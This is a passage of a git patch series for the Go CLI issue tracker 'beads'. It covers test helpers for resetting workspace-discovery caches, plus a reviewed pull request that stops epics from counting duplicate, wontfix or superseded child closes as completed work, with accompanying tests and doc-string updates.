%q", got) + } + if ctx, err := beads.GetRepoContext(); err == nil || ctx != nil { + t.Fatalf("non-workspace directory resolved context %+v, err=%v", ctx, err) + } + } + // Prime both cached failures before entering a different fixture. + assertNoWorkspace() + t.Run("repository", func(t *testing.T) { + t.Chdir(repo) + resetRepoCachesForTest(t) + ctx, err := beads.GetRepoContext() + if err != nil { + t.Fatal(err) + } + for _, paths := range []struct{ got, want string }{ + {git.GetRepoRoot(), repo}, + {ctx.RepoRoot, repo}, + {ctx.BeadsDir, beadsDir}, + } { + gotInfo, err := os.Stat(paths.got) + if err != nil { + t.Fatal(err) + } + wantInfo, err := os.Stat(paths.want) + if err != nil { + t.Fatal(err) + } + if !os.SameFile(gotInfo, wantInfo) { + t.Errorf("discovered %q, want filesystem identity of %q", paths.got, paths.want) + } + } + }) + // The child primed successful answers; its cleanup must discard both. + assertNoWorkspace() +} + +// runInDir shares the invariant above, so it owes the same guarantee: workspace +// discovery must follow it into dir and must not survive the restore. +func TestRunInDirScopesWorkspaceDiscovery(t *testing.T) { + t.Setenv("BEADS_DIR", "") + repo := t.TempDir() + initGitRepoAt(t, repo) + beadsDir := filepath.Join(repo, ".beads") + if err := os.Mkdir(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt"}`), 0o600); err != nil { + t.Fatal(err) + } + + t.Chdir(t.TempDir()) + resetRepoCachesForTest(t) + assertNoWorkspaceContext := func() { + t.Helper() + if ctx, err := beads.GetRepoContext(); err == nil || ctx != nil { + t.Fatalf("non-workspace directory resolved context %+v, err=%v", ctx, err) + } + } + // Prime the cached failure that a Git-only reset would leave in place. + assertNoWorkspaceContext() + + runInDir(t, repo, func() { + ctx, err := beads.GetRepoContext() + if err != nil { + t.Fatalf("runInDir left workspace discovery scoped to the previous directory: %v", err) + } + gotInfo, err := os.Stat(ctx.BeadsDir) + if err != nil { + t.Fatal(err) + } + wantInfo, err := os.Stat(beadsDir) + if err != nil { + t.Fatal(err) + } + if !os.SameFile(gotInfo, wantInfo) { + t.Errorf("discovered %q, want filesystem identity of %q", ctx.BeadsDir, beadsDir) + } + }) + + // runInDir primed a successful answer; its restore must discard it too. + assertNoWorkspaceContext() +} diff --git a/cmd/bd/serve_registered_backend_test.go b/cmd/bd/serve_registered_backend_test.go index c06f907f3..872532de1 100644 --- a/cmd/bd/serve_registered_backend_test.go +++ b/cmd/bd/serve_registered_backend_test.go @@ -427,12 +427,7 @@ func TestServeRefusesStrictReadonlyOnARegisteredBackend(t *testing.T) { restoreServeGlobals(t) t.Chdir(dir) t.Setenv("BEADS_DIR", beadsDir) - beads.ResetCaches() - git.ResetCaches() - t.Cleanup(func() { - beads.ResetCaches() - git.ResetCaches() - }) + resetRepoCachesForTest(t) origReadonly := readonlyMode readonlyMode = true diff --git a/cmd/bd/serve_test.go b/cmd/bd/serve_test.go index fe64500f6..a94be1241 100644 --- a/cmd/bd/serve_test.go +++ b/cmd/bd/serve_test.go @@ -16,7 +16,6 @@ import ( "github.com/spf13/pflag" - "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/httpapi" "github.com/steveyegge/beads/internal/storage" @@ -484,8 +483,7 @@ func runServeUnderReadonly(t *testing.T, dir string) (string, error) { // without this a directory with no workspace would still resolve to // whichever one an earlier test in this binary left behind — and "no // workspace" is the whole premise of the ordering assertion above. - beads.ResetCaches() - t.Cleanup(beads.ResetCaches) + resetRepoCachesForTest(t) var err error stderr := captureBootstrapStderr(t, func() { err = runServe() }) From b0c3c8f4978849911a26e300cf909b431b30eb05 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Thu, 1 Oct 2026 05:19:33 -0700 Subject: [PATCH 030/325] fix(epic): do not treat duplicate/wontfix closes as complete (#5138) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(epic): do not treat duplicate/wontfix closes as complete GetEpicsEligibleForClosure counted any closed child as complete work. An epic whose only child was closed as duplicate (or wontfix/superseded) was flagged "complete-but-unclosed" and doctor suggested bd close — even when the epic still had unfinished scope (GH#5026). - Fetch close_reason with status; only completing closes count for eligibility - IsNonCompletingClose for duplicate/wontfix/superseded/obsolete keywords - Soften doctor/mol stale copy: review scope before closing Fixes #5026 * fix(epic): word-boundary close-reason matching + conformance coverage (GH#5026) Review follow-ups from maphew on #5138: - IsNonCompletingClose now matches close_reason on word boundaries via a precompiled regexp instead of raw strings.Contains. Bare "dup" is dropped (redundant with duplicate/dupe, only added false positives on "dedup"). Bare "obsolete" is dropped in favor of "obsoleted" — "removed obsolete migration shim" is completing work, not a redirect, and was silently making such epics ineligible forever with no explanation. - testAuditEpicsEligiblePartial (conformance, runs on every backend) gains an ee-4 epic whose only child closes with reason "duplicate of ee-1", asserting {Total:1 Closed:1 Eligible:false} — the dcr-tf2 regression from #5026 end to end. Its doc comment now states the invariant this PR actually enforces (Total == completing-closed), not the one it broke. - cmd/bd/info.go and cmd/bd/doctor/maintenance.go no longer advertise the retired "complete-but-unclosed" framing. Generated CLI docs (docs/CLI_REFERENCE.md, docs/cli-reference/) are left untouched: docs/cli-docs.pin freezes them to the released v1.1.0 tag, so regenerating with the pinned build (matching CI's check-doc-flags job) is a no-op regardless of source changes on this branch, and overriding the pin pulls in ~100 files of unrelated accumulated drift. Verified via scripts/check-doc-flags.sh against a CI-equivalent CGO_ENABLED=0 build. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_015AfaSMkMRF5BTzuPNFnqHY * fix(epic): match hyphenated wont-fix and curly-apostrophe won't fix (GH#5138) Maintainer review on GH#5138 found the close-reason regexp missed two forms of the already-handled wontfix keyword: a hyphen between "wont" and "fix" (the ` ?` quantifier only tolerates a space, not a hyphen), and "won't fix" written with the U+2019 typographic right single quote instead of the ASCII apostrophe. Extend the regex directly rather than normalizing the whole close-reason string: `wont[- ]?fix` accepts a hyphen, a space, or neither, and `won['\x{2019}]t fix` accepts either apostrophe form. Scoping the hyphen tolerance to just this keyword pair (rather than folding all hyphens to spaces) avoids the risk of turning unrelated hyphenated prose into a false match. Adds table cases for both forms plus a negative case confirming ordinary hyphenated prose ("not-yet-planned") still doesn't match. * style: gofmt maintenance.go after comment split the struct alignment The GH#5026 wording comment inside the DoctorCheck literal splits gofmt's alignment group, so Name/Status align independently of Message. CI's "Check gofmt" caught this on the rebase; main's copy is clean, so the violation is ours. Whitespace only: `git diff -w` is empty. Co-Authored-By: Claude Opus 5 * fix(epic): compose wont-fix separators, sync epic_closeable classifier (GH#5138 review) bee-ghosttrack's desk review on PR #5138 raised two asks: 1. The hyphen and curly-apostrophe fixes didn't compose: "won't-fix" and "won't-fix" (curly quote) still matched as completing. The apostrophe alternative in nonCompletingCloseRegexp required a literal space after "fix"; give it the same [- ]? hyphen tolerance the plain "wont[- ]?fix" alternative already had. 2. epic_closeable (internal/workapi/detail.go) computed closeable as raw total==closed, disagreeing with issueops.GetEpicsEligibleForClosureInTx's real classifier — an epic whose only child closed "duplicate of X" read epic_closeable=true in `bd show --json`. Moved IsNonCompletingClose from issueops into the leaf internal/types package (issueops already imports workapi, so workapi importing issueops back would cycle) and had applyEpicProgress apply the same classifier. That also surfaced a second bug on the way: shallowDep, which every dependent row passes through before applyEpicProgress ever sees it, was dropping CloseReason along with the other free-form text fields — so the classifier was reading an always-empty string. Fixed by keeping CloseReason (short, not a hub-scale blob) in the shallow copy. Regression test in workapi added and verified to fail without the shallowDep fix and pass with it (both outputs recorded in review). Co-Authored-By: Claude Sonnet 5 * fix(epic): apply the eligibility classifier to bd show and doctor --deep (#5138 review) Review iteration 1 (synthesis: request_changes, 1 major + 1 nit). Major (Change Impact / Blast Radius) — two surfaces still computed epic closeability from their own raw closed counts, so after this PR they contradicted the eight sites that read the shared EpicStatus.EligibleForClose: - cmd/bd/show_format.go: printEpicChildProgress gates only the "— eligible for close" suffix on types.IsNonCompletingClose. The closed/total figure stays raw, matching the deliberate raw ClosedChildren convention pinned by the conformance test. - cmd/bd/doctor/deep.go: checkEpicCompleteness routes through issueops.GetEpicsEligibleForClosureInTx instead of its own SQL, so one classifier remains and `bd doctor --deep` agrees with `bd doctor`'s Stale Molecules check by construction. Side effects, both improvements: the local LIMIT 20 is gone (the reported count is now exact), and the shared query's isTableNotExistError tolerance replaces a LEFT JOIN that required the optional wisps/wisp_dependencies tables unconditionally. - cmd/bd/doctor.go: the --deep help text no longer says "all children closed". Nit (Behavioral Correctness) — internal/types/non_completing_close.go spells the keyword "not[- ]?planned", giving it the same per-keyword separator tolerance the "wont fix" pair already had. The comment no longer rests the space-only spelling on the "not-yet-planned" counterexample, which an intervening word blocks under either spelling. Bazel: gazelle had never been run for this PR's new files, so //internal/types omitted non_completing_close.go and the Bazel build failed with "internal/workapi/detail.go:275: undefined: types.IsNonCompletingClose". `bazel run //:gazelle` adds those rows and the new cmd/bd test src. Tests (each new pin mutation-proved: reverting the fix reds exactly the intended case and nothing else): - cmd/bd/show_format_test.go (new): first coverage for printEpicChildProgress; asserts both halves — raw progress preserved, suffix gated. - cmd/bd/doctor/deep_test.go: a duplicate-closed-child epic is not reported ready to close and ships no `bd close` Fix line; the three pre-existing cases pass unchanged. - internal/types/non_completing_close_test.go: "not-planned"/"notplanned" classify as non-completing; "not-yet-planned" still does not. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Gas City Adopt-PR --- .../conformance/audit_search-counts-stats.go | 18 +++- cmd/bd/BUILD.bazel | 1 + cmd/bd/doctor.go | 3 +- cmd/bd/doctor/deep.go | 50 +++++------ cmd/bd/doctor/deep_test.go | 57 +++++++++++++ cmd/bd/doctor/maintenance.go | 16 ++-- cmd/bd/info.go | 2 +- cmd/bd/mol_stale.go | 14 ++-- cmd/bd/show_format.go | 28 +++++-- cmd/bd/show_format_test.go | 83 +++++++++++++++++++ internal/storage/issueops/epic_closure.go | 40 ++++++--- internal/types/BUILD.bazel | 2 + internal/types/non_completing_close.go | 56 +++++++++++++ internal/types/non_completing_close_test.go | 64 ++++++++++++++ internal/workapi/detail.go | 28 +++++-- internal/workapi/detail_test.go | 32 ++++++- 16 files changed, 422 insertions(+), 72 deletions(-) create mode 100644 cmd/bd/show_format_test.go create mode 100644 internal/types/non_completing_close.go create mode 100644 internal/types/non_completing_close_test.go diff --git a/backend/conformance/audit_search-counts-stats.go b/backend/conformance/audit_search-counts-stats.go index e09bed52f..115b1651f 100644 --- a/backend/conformance/audit_search-counts-stats.go +++ b/backend/conformance/audit_search-counts-stats.go @@ -653,7 +653,9 @@ func testAuditStaleStatusOverride(t *testing.T, f Factory) { } // Epics with ZERO children are silently skipped; epics WITH children are returned -// with Total/Closed counts and EligibleForClose = (Total>0 && Total==Closed). +// with Total/Closed counts and EligibleForClose = (Total == completing-closed). +// A child closed for a non-completing reason (duplicate/wontfix/superseded/…) +// counts toward Closed but not toward eligibility (GH#5026). func testAuditEpicsEligiblePartial(t *testing.T, f Factory) { s := f(t) c := ctx() @@ -663,9 +665,12 @@ func testAuditEpicsEligiblePartial(t *testing.T, f Factory) { must(t, s.CreateIssue(c, withDefaults(&types.Issue{ID: "ee-2", Title: "E2", IssueType: types.TypeEpic, Status: types.StatusOpen}), "a")) must(t, s.CreateIssue(c, withDefaults(&types.Issue{ID: "ee-2a", Title: "c", Status: types.StatusClosed}), "a")) must(t, s.CreateIssue(c, withDefaults(&types.Issue{ID: "ee-3", Title: "E3", IssueType: types.TypeEpic, Status: types.StatusOpen}), "a")) + must(t, s.CreateIssue(c, withDefaults(&types.Issue{ID: "ee-4", Title: "E4", IssueType: types.TypeEpic, Status: types.StatusOpen}), "a")) + must(t, s.CreateIssue(c, withDefaults(&types.Issue{ID: "ee-4a", Title: "c", Status: types.StatusClosed, CloseReason: "duplicate of ee-1"}), "a")) must(t, s.AddDependency(c, &types.Dependency{IssueID: "ee-1a", DependsOnID: "ee-1", Type: types.DepParentChild}, "a")) must(t, s.AddDependency(c, &types.Dependency{IssueID: "ee-1b", DependsOnID: "ee-1", Type: types.DepParentChild}, "a")) must(t, s.AddDependency(c, &types.Dependency{IssueID: "ee-2a", DependsOnID: "ee-2", Type: types.DepParentChild}, "a")) + must(t, s.AddDependency(c, &types.Dependency{IssueID: "ee-4a", DependsOnID: "ee-4", Type: types.DepParentChild}, "a")) epics, err := s.GetEpicsEligibleForClosure(c) must(t, err) @@ -695,6 +700,17 @@ func testAuditEpicsEligiblePartial(t *testing.T, f Factory) { if _, present := byID["ee-3"]; present { t.Error("ee-3 (zero children) must be ABSENT (silent skip)") } + + // dcr-tf2 / GH#5026: a single child closed as a duplicate still counts as + // Closed (raw close count), but must NOT count toward EligibleForClose — + // the epic's real scope is unfinished, not done. + e4 := byID["ee-4"] + if e4 == nil { + t.Fatal("ee-4 missing (has children, must be returned)") + } + if e4.TotalChildren != 1 || e4.ClosedChildren != 1 || e4.EligibleForClose { + t.Errorf("ee-4 = {Total:%d Closed:%d Eligible:%v}, want {1 1 false} (duplicate close is non-completing)", e4.TotalChildren, e4.ClosedChildren, e4.EligibleForClose) + } } // GetIssuesByLabel unions wisp_labels: an ephemeral (wisp) issue sharing the label diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index c1d6dc098..025fbfc20 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1090,6 +1090,7 @@ go_test( "show_details_json_test.go", "show_embedded_test.go", "show_format_metadata_test.go", + "show_format_test.go", "show_not_found_hint_test.go", "show_proxied_integration_test.go", "show_proxied_reader_test.go", diff --git a/cmd/bd/doctor.go b/cmd/bd/doctor.go index f52d85097..0640d3a9e 100644 --- a/cmd/bd/doctor.go +++ b/cmd/bd/doctor.go @@ -122,7 +122,8 @@ Deep Validation Mode (--deep): Additional checks: - Parent consistency: All parent-child deps point to existing issues - Dependency integrity: All deps reference valid issues - - Epic completeness: Find epics ready to close (all children closed) + - Epic completeness: Find epics ready to close (all children closed as + completed work; duplicate/wontfix/superseded closes do not count) - Agent bead integrity: Agent beads have valid state values - Mail thread integrity: Thread IDs reference existing issues - Molecule integrity: Molecules have valid parent-child structures diff --git a/cmd/bd/doctor/deep.go b/cmd/bd/doctor/deep.go index a120fafc0..7da7eacab 100644 --- a/cmd/bd/doctor/deep.go +++ b/cmd/bd/doctor/deep.go @@ -2,6 +2,7 @@ package doctor import ( + "context" "database/sql" "encoding/json" "fmt" @@ -9,6 +10,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/issueops" ) // DeepValidationResult holds all deep validation check results @@ -240,52 +242,38 @@ func checkDependencyIntegrity(db *sql.DB) DoctorCheck { return check } -// checkEpicCompleteness finds epics that could be closed (all children closed) +// checkEpicCompleteness finds epics that could be closed (all children closed +// as completed work). +// +// This routes through the shared eligibility query rather than re-deriving +// "all children closed" from raw counts in local SQL. A child closed as +// duplicate/wontfix/superseded redirects the work rather than finishing it and +// must not make its epic look closeable (GH#5026); a second local classifier +// here would let `bd doctor --deep` report an epic "ready to close" — with a +// Fix line prescribing `bd close` — while `bd doctor`'s own Stale Molecules +// check, which reads EpicStatus.EligibleForClose, reports the same epic on the +// same repository as not stale. func checkEpicCompleteness(db *sql.DB) DoctorCheck { check := DoctorCheck{ Name: "Epic Completeness", Category: CategoryMetadata, } - // Find epics where all children are closed but epic is still open - //nolint:gosec // G202: doctorDependencyUnionSQL returns a fixed internal SELECT fragment. - query := ` - SELECT e.id, e.title, - COUNT(COALESCE(c.id, cw.id)) as total_children, - SUM(CASE WHEN COALESCE(c.status, cw.status) = 'closed' THEN 1 ELSE 0 END) as closed_children - FROM issues e - JOIN (` + doctorDependencyUnionSQL() + `) d ON d.depends_on_id = e.id AND d.type = 'parent-child' - LEFT JOIN issues c ON c.id = d.issue_id - LEFT JOIN wisps cw ON cw.id = d.issue_id - WHERE e.issue_type = 'epic' - AND e.status != 'closed' - AND COALESCE(c.id, cw.id) IS NOT NULL - GROUP BY e.id - HAVING total_children > 0 AND total_children = closed_children - LIMIT 20` - - rows, err := db.Query(query) + epicStatuses, err := issueops.GetEpicsEligibleForClosureInTx(context.Background(), db) if err != nil { check.Status = StatusWarning check.Message = "Unable to check epic completeness" check.Detail = err.Error() return check } - defer rows.Close() var completedEpics []string - for rows.Next() { - var id, title string - var total, closed int - if err := rows.Scan(&id, &title, &total, &closed); err == nil { - completedEpics = append(completedEpics, fmt.Sprintf("%s (%d/%d)", id, closed, total)) + for _, es := range epicStatuses { + if !es.EligibleForClose || es.Epic == nil { + continue } - } - if err := rows.Err(); err != nil { - check.Status = StatusWarning - check.Message = "Row iteration error checking epic completeness" - check.Detail = err.Error() - return check + completedEpics = append(completedEpics, + fmt.Sprintf("%s (%d/%d)", es.Epic.ID, es.ClosedChildren, es.TotalChildren)) } if len(completedEpics) == 0 { diff --git a/cmd/bd/doctor/deep_test.go b/cmd/bd/doctor/deep_test.go index 0cc06b6cc..ccc7aebcb 100644 --- a/cmd/bd/doctor/deep_test.go +++ b/cmd/bd/doctor/deep_test.go @@ -247,6 +247,63 @@ func TestCheckEpicCompleteness_OpenWispChildPreventsCompletedEpic(t *testing.T) } } +// TestCheckEpicCompleteness_DuplicateClosedChildIsNotReady pins GH#5026 on the +// deep check. The child is closed, so the three cases above (which all close +// their children with an empty reason) still pass unchanged — but a close that +// redirects the work rather than finishing it leaves the epic's real scope +// undone, so the epic must not be reported ready to close and the check must +// not ship its `bd close ` Fix line for it. Before this, `bd doctor +// --deep` said "ready to close" while `bd doctor`'s Stale Molecules check, +// reading the shared EpicStatus.EligibleForClose, said the same epic on the +// same repository was not stale. +func TestCheckEpicCompleteness_DuplicateClosedChildIsNotReady(t *testing.T) { + store := newTestDoltStore(t, "epic") + ctx := context.Background() + + epic := &types.Issue{ + ID: "epic-dup", + Title: "Epic", + Status: types.StatusOpen, + IssueType: types.TypeEpic, + CreatedAt: time.Now(), + } + if err := store.CreateIssue(ctx, epic, "test"); err != nil { + t.Fatal(err) + } + + child := &types.Issue{ + ID: "epic-dup.1", + Title: "Duplicate-closed child", + Status: types.StatusClosed, + IssueType: types.TypeTask, + ClosedAt: ptrTime(time.Now()), + CloseReason: "duplicate of epic-1.1", + CreatedAt: time.Now(), + } + if err := store.CreateIssue(ctx, child, "test"); err != nil { + t.Fatal(err) + } + + dep := &types.Dependency{ + IssueID: child.ID, + DependsOnID: epic.ID, + Type: types.DepParentChild, + CreatedAt: time.Now(), + CreatedBy: "test", + } + if err := store.AddDependency(ctx, dep, "test"); err != nil { + t.Fatal(err) + } + + check := checkEpicCompleteness(store.UnderlyingDB()) + if check.Status != StatusOK { + t.Errorf("Status = %q, want %q; message=%q detail=%q", check.Status, StatusOK, check.Message, check.Detail) + } + if strings.Contains(check.Fix, "bd close") { + t.Errorf("Fix = %q, want no 'bd close' instruction for a duplicate-closed epic", check.Fix) + } +} + // TestCheckMailThreadIntegrity_ValidThreads verifies valid thread references pass func TestCheckMailThreadIntegrity_ValidThreads(t *testing.T) { store := newTestDoltStore(t, "thread") diff --git a/cmd/bd/doctor/maintenance.go b/cmd/bd/doctor/maintenance.go index 416dcea9a..6888ed079 100644 --- a/cmd/bd/doctor/maintenance.go +++ b/cmd/bd/doctor/maintenance.go @@ -126,8 +126,10 @@ func checkStaleClosedIssuesDB(db *sql.DB, thresholdDays int) DoctorCheck { } } -// CheckStaleMolecules detects complete-but-unclosed molecules. -// A molecule is stale if all children are closed but the root is still open. +// CheckStaleMolecules detects molecules whose children are all closed but +// whose root issue is still open. Closes on children that redirect or +// abandon the work (duplicate/wontfix/superseded/…) do not count as +// completing, so a molecule with such a close is not reported here (GH#5026). func CheckStaleMolecules(path string) DoctorCheck { _, beadsDir := getBackendAndBeadsDir(path) @@ -183,11 +185,13 @@ func CheckStaleMolecules(path string) DoctorCheck { } return DoctorCheck{ - Name: "Stale Molecules", - Status: StatusWarning, - Message: fmt.Sprintf("%d complete-but-unclosed molecule(s)", staleCount), + Name: "Stale Molecules", + Status: StatusWarning, + // Wording: all children closed with completing reasons — still review + // before close (scope may exceed the child set). GH#5026. + Message: fmt.Sprintf("%d molecule(s) with all children closed (review scope before closing)", staleCount), Detail: detail, - Fix: "Run 'bd mol stale' to review, then 'bd close ' for each", + Fix: "Run 'bd mol stale' to review whether epic scope is actually done, then 'bd close ' if so", Category: CategoryMaintenance, } } diff --git a/cmd/bd/info.go b/cmd/bd/info.go index daf9d21c6..527a6891f 100644 --- a/cmd/bd/info.go +++ b/cmd/bd/info.go @@ -1117,7 +1117,7 @@ var versionChanges = []VersionChange{ "NEW: Aspect composition - Cross-cutting concerns via aspects field in formulas", "NEW: Runtime expansion - on_complete and for-each dynamic step generation", "NEW: bd formula list/show - Discover and inspect available formulas", - "NEW: bd mol stale - Detect complete-but-unclosed molecules", + "NEW: bd mol stale - Detect molecules with all children closed but root still open", "NEW: Stale molecules check in bd doctor - Proactive detection", "NEW: Distinct ID prefixes - bd-proto-xxx, bd-mol-xxx, bd-wisp-xxx", "NEW: no-git-ops config - bd config set no-git-ops true for manual git control", diff --git a/cmd/bd/mol_stale.go b/cmd/bd/mol_stale.go index 09226844d..79abdaf58 100644 --- a/cmd/bd/mol_stale.go +++ b/cmd/bd/mol_stale.go @@ -12,16 +12,18 @@ import ( var molStaleCmd = &cobra.Command{ Use: "stale", - Short: "Detect complete-but-unclosed molecules", - Long: `Detect molecules (epics with children) that are complete but still open. + Short: "Detect molecules with all children closed but root still open", + Long: `Detect molecules (epics with children) whose children are all closed +with completing reasons, but the root is still open. A molecule is considered stale if: - 1. All children are closed (Completed == Total) + 1. Every child is closed with a completing reason (not duplicate/wontfix/superseded) 2. Root issue is still open 3. Not assigned to anyone (optional, use --unassigned) 4. Is blocking other work (optional, use --blocking) -By default, shows all complete-but-unclosed molecules. +Review whether epic scope is actually finished before closing — child +closure alone does not prove the epic's stated work is done (GH#5026). Examples: bd mol stale # List all stale molecules @@ -96,10 +98,10 @@ func renderStaleResult(result *StaleResult, blockingOnly bool) { } if blockingOnly { - fmt.Printf("%s Stale molecules (complete but unclosed, blocking work):\n\n", + fmt.Printf("%s Molecules with all children closed (review scope; blocking work):\n\n", ui.RenderWarnIcon()) } else { - fmt.Printf("%s Stale molecules (complete but unclosed):\n\n", + fmt.Printf("%s Molecules with all children closed (review scope before closing):\n\n", ui.RenderInfoIcon()) } diff --git a/cmd/bd/show_format.go b/cmd/bd/show_format.go index 4c2198198..46fff61a0 100644 --- a/cmd/bd/show_format.go +++ b/cmd/bd/show_format.go @@ -278,22 +278,40 @@ func printRelatedSection(relatedSeen map[string]*types.IssueWithDependencyMetada // printEpicChildProgress summarizes how much of an epic its children have // finished, printed under the CHILDREN section. +// +// The closed/total progress figure stays raw, mirroring the deliberate raw +// EpicStatus.ClosedChildren convention, but "eligible for close" is a +// closeability verdict and must apply the same rule the rest of the tool +// applies: a child closed as duplicate/wontfix/superseded redirects the work +// instead of finishing it, so it cannot make an epic closeable (GH#5026). +// Deciding that here from a raw closed count would make `bd show` contradict +// `bd epic`, `bd doctor` and `epic_closeable`, which all read the shared +// EpicStatus.EligibleForClose computed by GetEpicsEligibleForClosureInTx. func printEpicChildProgress(children []*types.IssueWithDependencyMetadata) { if len(children) == 0 { return } closed := 0 + completing := 0 for _, dep := range children { - if dep.Status == types.StatusClosed { - closed++ + if dep.Status != types.StatusClosed { + continue + } + closed++ + if !types.IsNonCompletingClose(dep.CloseReason) { + completing++ } } pct := closed * 100 / len(children) + icon := ui.RenderMuted("◐") if closed == len(children) { - fmt.Printf(" %s %d/%d complete (%d%%) — eligible for close\n", ui.RenderPass("✓"), closed, len(children), pct) - } else { - fmt.Printf(" %s %d/%d complete (%d%%)\n", ui.RenderMuted("◐"), closed, len(children), pct) + icon = ui.RenderPass("✓") } + eligible := "" + if completing == len(children) { + eligible = " — eligible for close" + } + fmt.Printf(" %s %d/%d complete (%d%%)%s\n", icon, closed, len(children), pct, eligible) } // formatSimpleDependencyLine formats a dependency without metadata (fallback) diff --git a/cmd/bd/show_format_test.go b/cmd/bd/show_format_test.go new file mode 100644 index 000000000..09ca887b8 --- /dev/null +++ b/cmd/bd/show_format_test.go @@ -0,0 +1,83 @@ +package main + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// epicChildRow builds one CHILDREN-section row for printEpicChildProgress. +func epicChildRow(id string, status types.Status, closeReason string) *types.IssueWithDependencyMetadata { + return &types.IssueWithDependencyMetadata{ + Issue: types.Issue{ + ID: id, + Title: id, + Status: status, + CloseReason: closeReason, + }, + DependencyType: types.DepParentChild, + } +} + +// TestPrintEpicChildProgressEligibility pins GH#5026 on `bd show `, the +// CHILDREN-section progress line. Two halves are asserted together on purpose: +// the closed/total figure stays RAW (mirroring the deliberate raw +// EpicStatus.ClosedChildren convention that the conformance test pins), while +// the "eligible for close" suffix is a closeability verdict and applies the +// same non-completing-close rule as EpicStatus.EligibleForClose. Gating the +// whole line, or gating nothing, each fails exactly one half. +func TestPrintEpicChildProgressEligibility(t *testing.T) { + tests := []struct { + name string + children []*types.IssueWithDependencyMetadata + wantProgress string + wantEligible bool + }{ + { + name: "sole child closed as completed work", + children: []*types.IssueWithDependencyMetadata{epicChildRow("c-1", types.StatusClosed, "")}, + wantProgress: "1/1 complete (100%)", + wantEligible: true, + }, + { + name: "sole child closed as a duplicate", + children: []*types.IssueWithDependencyMetadata{epicChildRow("c-1", types.StatusClosed, "duplicate of c-9")}, + wantProgress: "1/1 complete (100%)", + wantEligible: false, + }, + { + name: "one completing close alongside a wont-fix close", + children: []*types.IssueWithDependencyMetadata{ + epicChildRow("c-1", types.StatusClosed, "fixed"), + epicChildRow("c-2", types.StatusClosed, "wont-fix"), + }, + wantProgress: "2/2 complete (100%)", + wantEligible: false, + }, + { + name: "an open child keeps the epic ineligible", + children: []*types.IssueWithDependencyMetadata{ + epicChildRow("c-1", types.StatusClosed, ""), + epicChildRow("c-2", types.StatusOpen, ""), + }, + wantProgress: "1/2 complete (50%)", + wantEligible: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + out := captureStdout(t, func() error { + printEpicChildProgress(tt.children) + return nil + }) + if !strings.Contains(out, tt.wantProgress) { + t.Errorf("output %q does not contain raw progress %q", out, tt.wantProgress) + } + if got := strings.Contains(out, "eligible for close"); got != tt.wantEligible { + t.Errorf("output %q: %q present = %v, want %v", out, "eligible for close", got, tt.wantEligible) + } + }) + } +} diff --git a/internal/storage/issueops/epic_closure.go b/internal/storage/issueops/epic_closure.go index ede8f3b50..e38afa9a0 100644 --- a/internal/storage/issueops/epic_closure.go +++ b/internal/storage/issueops/epic_closure.go @@ -7,7 +7,8 @@ import ( "github.com/steveyegge/beads/internal/types" ) -// GetEpicsEligibleForClosureInTx returns epics whose children are all closed. +// GetEpicsEligibleForClosureInTx returns open epics whose children are all closed +// with completing close reasons (not duplicate/wontfix/superseded). // nolint:gosec // G201: table names are hardcoded, placeholders contain only ? markers func GetEpicsEligibleForClosureInTx(ctx context.Context, tx DBTX) ([]*types.EpicStatus, error) { // Step 1: Get open epic IDs (single-table scan) @@ -66,14 +67,19 @@ func GetEpicsEligibleForClosureInTx(ctx context.Context, tx DBTX) ([]*types.Epic depRows.Close() } - // Step 3: Batch-fetch statuses for all child issues across all epics + // Step 3: Batch-fetch statuses + close_reason for all child issues (bd-w2w). + // close_reason is required so duplicate/wontfix/superseded closes do not + // count as "complete" for EligibleForClose (GH#5026). allChildIDs := make([]string, 0) for _, children := range epicChildMap { allChildIDs = append(allChildIDs, children...) } - childStatusMap := make(map[string]string) + type childCloseInfo struct { + status string + closeReason string + } + childInfoMap := make(map[string]childCloseInfo) if len(allChildIDs) > 0 { - // Check both issues and wisps tables for child statuses (bd-w2w) for _, table := range []string{"issues", "wisps"} { for start := 0; start < len(allChildIDs); start += queryBatchSize { end := start + queryBatchSize @@ -83,7 +89,10 @@ func GetEpicsEligibleForClosureInTx(ctx context.Context, tx DBTX) ([]*types.Epic batch := allChildIDs[start:end] placeholders, args := buildSQLInClause(batch) - statusQuery := fmt.Sprintf("SELECT id, status FROM %s WHERE id IN (%s)", table, placeholders) + statusQuery := fmt.Sprintf( + "SELECT id, status, COALESCE(close_reason, '') FROM %s WHERE id IN (%s)", + table, placeholders, + ) statusRows, err := tx.QueryContext(ctx, statusQuery, args...) if err != nil { if isTableNotExistError(err) { @@ -92,12 +101,12 @@ func GetEpicsEligibleForClosureInTx(ctx context.Context, tx DBTX) ([]*types.Epic return nil, fmt.Errorf("failed to batch-fetch child statuses from %s: %w", table, err) } for statusRows.Next() { - var id, status string - if err := statusRows.Scan(&id, &status); err != nil { + var id, status, closeReason string + if err := statusRows.Scan(&id, &status, &closeReason); err != nil { statusRows.Close() return nil, fmt.Errorf("scan child status: %w", err) } - childStatusMap[id] = status + childInfoMap[id] = childCloseInfo{status: status, closeReason: closeReason} } statusRows.Close() } @@ -135,17 +144,26 @@ func GetEpicsEligibleForClosureInTx(ctx context.Context, tx DBTX) ([]*types.Epic totalChildren := len(children) closedChildren := 0 + completingClosed := 0 for _, childID := range children { - if status, ok := childStatusMap[childID]; ok && types.Status(status) == types.StatusClosed { - closedChildren++ + info, ok := childInfoMap[childID] + if !ok || types.Status(info.status) != types.StatusClosed { + continue + } + closedChildren++ + if !types.IsNonCompletingClose(info.closeReason) { + completingClosed++ } } + // Eligible only when every child is closed AND every close is a completing + // one (finished work). Duplicate/wontfix/superseded closes leave the + // epic's real scope unfinished (GH#5026). results = append(results, &types.EpicStatus{ Epic: issue, TotalChildren: totalChildren, 